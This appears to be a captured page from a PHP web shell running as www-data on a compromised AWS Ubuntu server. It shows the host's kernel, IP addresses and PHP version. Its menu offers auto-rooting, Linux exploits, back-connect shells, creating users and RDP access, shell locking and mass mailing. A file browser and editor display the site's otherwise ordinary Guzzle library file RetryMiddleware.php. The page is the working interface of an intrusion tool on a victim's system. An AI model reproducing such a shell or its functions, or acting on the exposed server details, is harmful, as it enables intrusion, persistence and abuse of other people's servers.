Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.218.250.241
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
aws /
GuzzleHttp /
[ HOME SHELL ]
Name
Size
Permission
Action
Cookie
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
Handler
[ DIR ]
drwxr-xr-x
Promise
[ DIR ]
drwxr-xr-x
Psr7
[ DIR ]
drwxr-xr-x
Client.php
19.41
KB
-rwxr-xr-x
ClientInterface.php
2.8
KB
-rwxr-xr-x
HandlerStack.php
7.59
KB
-rwxr-xr-x
MessageFormatter.php
7.09
KB
-rwxr-xr-x
Middleware.php
9.66
KB
-rwxr-xr-x
Pool.php
4.72
KB
-rwxr-xr-x
PrepareBodyMiddleware.php
3.15
KB
-rwxr-xr-x
RedirectMiddleware.php
8.08
KB
-rwxr-xr-x
RequestOptions.php
10.11
KB
-rwxr-xr-x
RetryMiddleware.php
3.42
KB
-rwxr-xr-x
TransferStats.php
3.04
KB
-rwxr-xr-x
UriTemplate.php
7.93
KB
-rwxr-xr-x
functions.php
11.43
KB
-rwxr-xr-x
functions_include.php
160
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : RetryMiddleware.php
<?php namespace GuzzleHttp; use GuzzleHttp\Promise\PromiseInterface; use GuzzleHttp\Promise\RejectedPromise; use GuzzleHttp\Psr7; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\ResponseInterface; /** * Middleware that retries requests based on the boolean result of * invoking the provided "decider" function. */ class RetryMiddleware { /** @var callable */ private $nextHandler; /** @var callable */ private $decider; /** @var callable */ private $delay; /** * @param callable $decider Function that accepts the number of retries, * a request, [response], and [exception] and * returns true if the request is to be * retried. * @param callable $nextHandler Next handler to invoke. * @param callable $delay Function that accepts the number of retries * and [response] and returns the number of * milliseconds to delay. */ public function __construct( callable $decider, callable $nextHandler, callable $delay = null ) { $this->decider = $decider; $this->nextHandler = $nextHandler; $this->delay = $delay ?: __CLASS__ . '::exponentialDelay'; } /** * Default exponential backoff delay function. * * @param int $retries * * @return int milliseconds. */ public static function exponentialDelay($retries) { return (int) pow(2, $retries - 1) * 1000; } /** * @param RequestInterface $request * @param array $options * * @return PromiseInterface */ public function __invoke(RequestInterface $request, array $options) { if (!isset($options['retries'])) { $options['retries'] = 0; } $fn = $this->nextHandler; return $fn($request, $options) ->then( $this->onFulfilled($request, $options), $this->onRejected($request, $options) ); } /** * Execute fulfilled closure * * @return mixed */ private function onFulfilled(RequestInterface $req, array $options) { return function ($value) use ($req, $options) { if (!call_user_func( $this->decider, $options['retries'], $req, $value, null )) { return $value; } return $this->doRetry($req, $options, $value); }; } /** * Execute rejected closure * * @return callable */ private function onRejected(RequestInterface $req, array $options) { return function ($reason) use ($req, $options) { if (!call_user_func( $this->decider, $options['retries'], $req, null, $reason )) { return \GuzzleHttp\Promise\rejection_for($reason); } return $this->doRetry($req, $options); }; } /** * @return self */ private function doRetry(RequestInterface $request, array $options, ResponseInterface $response = null) { $options['delay'] = call_user_func($this->delay, ++$options['retries'], $response); return $this($request, $options); } }
Close